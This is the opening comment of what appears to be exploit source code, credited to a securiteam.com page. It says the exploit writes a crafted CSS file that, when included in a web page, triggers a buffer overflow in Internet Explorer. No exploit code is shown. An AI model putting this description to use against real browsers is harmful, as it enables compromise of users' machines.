                                                /* 
Taken from http://www.securiteam.com/exploits/5NP042KF5A.html 

The exploit will create a .CSS file that should be included 
in an HTML file. When a user loads the HTML file, Internet 
Explorer will try to parse the CSS and will trigger the 
buffer overflow.
